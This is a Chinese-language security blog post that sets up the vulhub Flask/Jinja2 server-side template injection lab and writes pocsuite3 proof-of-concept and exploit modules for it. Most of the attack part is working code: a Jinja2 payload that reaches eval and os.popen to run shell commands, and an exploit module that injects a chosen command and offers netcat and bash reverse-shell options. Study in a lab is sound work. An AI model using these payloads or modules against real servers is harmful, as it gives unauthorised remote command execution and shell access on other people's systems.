python安全攻防_python安全攻防第三章之Poc

pocsuite安装

安装pocsuite3

pip3 install pocsuite

安装数据包

pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple/

requirement.txt内容

requests == 2.22.0

PySocks == 1.7.1

requests-toolbelt == 0.9.1

urllib3 == 1.25.6

flask简介

Flask是一个使用pyton编写的轻量级Web应用框架，模板引擎则使用Jinja2。Flask属于微框架(micro-framework),这既是优点也是缺点，优点是框架轻量，更新依赖少，更容易专注于安全方面的漏洞，缺点是不得不通过添加插件来增加依赖列表。Flask 依赖中就有造成模板注人漏洞的插件Jinja2的模板引擎，Jinja2 是一个面向Python的模板语言。

环境安装

git clone https://github.com/vulhub/vulhub.git

进入、vulhub/flask/ssit

docker-compose build

docker-compose up -d

2.代码分析

docker ps -a

docker exec -it 1e8500123856 /bin/bash

def index():

name = request.args.get('name', 'guest')

t = Template("Hello " + name)

return t.render()

if __name__ == "__main__":

app.run()

可以看出name未经过滤就传入了服务器

利用代码及方式

payload:

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %}

{% if b.__class__ == {}.__class__ %}

{% if 'eval' in b.keys() %}

{{ b['eval']('__import__("os").popen("id

").read()') }}

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

顺利执行，可以查看文件内容

关于poc的编写

poc验证模块

from collections import OrderedDict

from urllib.parse import urljoin

import re

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE

from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):

vulID = '1.1'

version = '1.1'

author = ['1']

vulDate = '1.1'

createDate = '2020/10/10'

updateDate = '1.1'

references = ['flask']

name = 'flask-poc'

appPowerLink = 'flask'

appName = 'flask'

appVersion = 'flask'

vulType = VUL_TYPE.CODE_EXECUTION

desc = '''

flask

'''

#samples = ['96.234.71.117:80']

#category = POC_CATEGORY.EXPLOITS.REMOTE

def _verify(self):

result = {}

path = "?name="

url = self.url + path

payload = "{{3*3}}"

try:

res = requests.get(url=url + payload )

if res.status_code == 200 and "9" in res.text:

result['VerifyInfo'] = {}

result['VerifyInfo'] = url

result['VerifyInfo'] = payload

except Exception as e: #

return

return self.parse_output(result)

def _attack(self):

return self._verify()

def parse_output(self, result):

output = Output(self)

if result:

output.success(result)

else:

output.fail('target is not culnerable')

return output

register_poc(DemoPOC)

执行结果：

exp执行模块

from collections import OrderedDict

from urllib.parse import urljoin

import re

from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE

from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):

vulID = '1.1'

version = '1.1'

author = ['1']

vulDate = '1.1'

createDate = '1.1'

updateDate = '1.1'

references = ['1.1']

name = 'flack-exp'

appPowerLink = 'flack'

appName = 'flask'

appVersion = 'flask'

vulType = VUL_TYPE.CODE_EXECUTION

desc = '''

'''

#samples = ['96.234.71.117:80']

#category = POC_CATEGORY.EXPLOITS.REMOTE

def _options(self): # 结束command参数并执行

o = OrderedDict()

payload = {

"nc": REVERSE_PAYLOAD.NC,

"bash": REVERSE_PAYLOAD.BASH,

}

o["command"] = OptDict(selected="bash", default=payload)

return o

def _verify(self):

output = Output(self)

result = {}

def _attack(self):

#url:http://192.168.0.103:8000/?name={{2*2}}

result = {}

path = "?name="

url = self.url + path

cmd = self.get_option("command")

# payload含义：绕过注册的python逃逸的内置函数

payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("' + cmd + '").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'

try:

res = requests.get(url=url + payload)

t = res.text

t = t.replace('\n','').replace('\r','')

print(t)

t = t.replace(" ","")

result['VerifyInfo'] = {}

result['VerifyInfo']['URL'] = url

result['VerifyInfo']['Name'] = payload

except Exception as e:

return

return self.parse_attack(result)

def parse_attack(self,result):

output = Output(self)

if result:

output.success(result)

else:

output.fail('target is not vulnerable')

return output

register_poc(DemoPOC)

执行结果：

还可以利用shell交互模式

`

原文链接:https://blog.csdn.net/qq_34640691/article/details/109005216